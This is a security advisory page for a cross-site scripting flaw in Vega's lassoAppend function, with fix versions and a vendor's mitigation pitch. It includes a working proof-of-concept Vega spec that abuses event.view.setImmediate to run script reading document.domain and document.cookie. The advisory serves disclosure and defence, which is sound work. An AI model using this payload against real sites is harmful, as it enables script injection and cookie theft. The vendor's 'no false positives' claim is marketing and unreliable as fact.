GHSA-w5m3-xh75-mp55
MEDIUMVega has Cross-site Scripting vulnerability in `lassoAppend` function
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.
veganpmvega-functionsnpmDescription
Summary
Vega's lassoAppend function: lassoAppend accepts 3 arguments and internally invokes push function on the 1st argument specifying array consisting of 2nd and 3rd arguments as push call argument. The type of the 1st argument is supposed to be an array, but it's not enforced.
This makes it possible to specify any object with a push function as the 1st argument, push function can be set to any function that can be access via event.view (no all such functions can be exploited due to invalid context or signature, but some can, e.g. console.log).
Details
The issue is that lassoAppend doesn't enforce proper types of its arguments:
.....
export function lassoAppend(lasso, x, y, minDist = 5) {
const last = lasso[lasso.length - 1];
// Add point to lasso if distance to last point exceed minDist or its the first point
if (last === undefined || Math.sqrt(((last[0] - x) ** 2) + ((last[1] - y) ** 2)) > minDist) {
lasso.push([x, y]);
.....
PoC
Use the following Vega snippet (depends on browser's non-built-in event.view.setImmediate function, feel free to replace with event.view.console.log or alike and observe the result in the browser's console)
{
"$schema": "https://vega.github.io/schema/vega/v5.json",
"width": 350,
"height": 350,
"autosize": "none",
"description": "Toggle Button",
"signals": [
{
"name": "toggle",
"value": false,
"on": [
{
"events": {"type": "click", "markname": "circle"},
"update": "toggle ? false : true"
}
]
},
{
"name": "addFilter",
"on": [
{
"events": {"type": "mousemove", "source": "window"},
"update": "lassoAppend({'push':event.view.setImmediate},'alert(document.domain)','alert(document.cookie)')"
}
]
}
],
"marks": [
{
"name": "circle",
"type": "symbol",
"zindex": 1,
"encode": {
"enter": {
"y": {"signal": "height/2"},
"angle": {"value": 0},
"size": {"value": 400},
"shape": {"value": "circle"},
"fill": {"value": "white"},
"stroke": {"value": "white"},
"strokeWidth": {"value": 2},
"cursor": {"value": "pointer"},
"tooltip": {"signal": "{Tip: 'Click to fire XSS'}"}
},
"update": {"x": {"signal": "toggle === true ? 190 : 165"}}
}
},
{
"name": "rectangle",
"type": "rect",
"zindex": 0,
"encode": {
"enter": {
"x": {"value": 152},
"y": {"value": 162.5},
"width": {"value": 50},
"height": {"value": 25},
"cornerRadius": {"value": 20}
},
"update": {
"fill": {"signal": "toggle === true ? '#006BB4' : '#939597'"}
}
}
}
]
}
Impact
This issue opens various XSS vectors, but exact impact and severity depends on the environment (e.g. Core JS setImmediate polyfill basically allows eval-like functionality).
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | vega | all versions | 5.23.0 |
| 📦npm | vega-functions | all versions | 5.13.1 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for vega. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update vega to 5.23.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-w5m3-xh75-mp55 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-w5m3-xh75-mp55 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-w5m3-xh75-mp55. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-w5m3-xh75-mp55 in your dependencies?
O3 detects GHSA-w5m3-xh75-mp55 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.